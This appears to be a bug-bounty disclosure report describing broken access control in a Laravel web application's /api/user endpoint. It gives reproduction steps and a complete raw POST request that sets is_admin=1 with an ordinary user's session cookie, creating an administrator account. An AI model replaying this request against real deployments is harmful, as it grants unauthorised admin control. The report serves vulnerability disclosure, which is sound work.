Lucene search

K
huntrCyberneticsplus8F595559-7B4B-4B00-954C-7A627766E203
HistoryMar 16, 2023 - 8:00 a.m.

Broken Access Control on "http://localhost/api/user" endpoint

2023-03-1608:00:37
cyberneticsplus
www.huntr.dev
5
broken access control
endpoint security
laravel session
user account
post request
burp suite
admin account creation
video proof of concept
bug bounty

0.001 Low

EPSS

Percentile

48.4%

Description

Able to create an Admin account from normal User account.

Steps

1.Navigate to https://localhost/.

2.Then click on login and then register, fill the form and click Register.

3.Now login with a newly created user account with intercepting the traffics in burp.

4.Turn on the burp intercept on and refresh the page and copy the laravel_session on cookie.

5.Now send the below POST request with the copied user laravel_session.

POST /api/user HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 193
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/admin/view:modules/load_module:users/edit-user:0
Cookie: laravel_session=XDkQKNuW---Qs22;

thumbnail=&id=0&username=testaccount&password=testaccount&verify_password=testaccount&first_name=testaccount&last_name=testaccount&email=testaccount%40test.com&phone=&is_admin=1&is_active=1&basic_mode=0&api_key=

6.In the response it says 201 created. New Admin-account successfully created.

7.Now you can login with the credentials you sended on POST Request as an Admin-user on http://localhost/admin/login.

Video-PoC

https://drive.google.com/file/d/1xBuvOjIGU6W5Q5xx-HqQ0TwzYDEcUubD/view?usp=sharing

0.001 Low

EPSS

Percentile

48.4%

Related for 8F595559-7B4B-4B00-954C-7A627766E203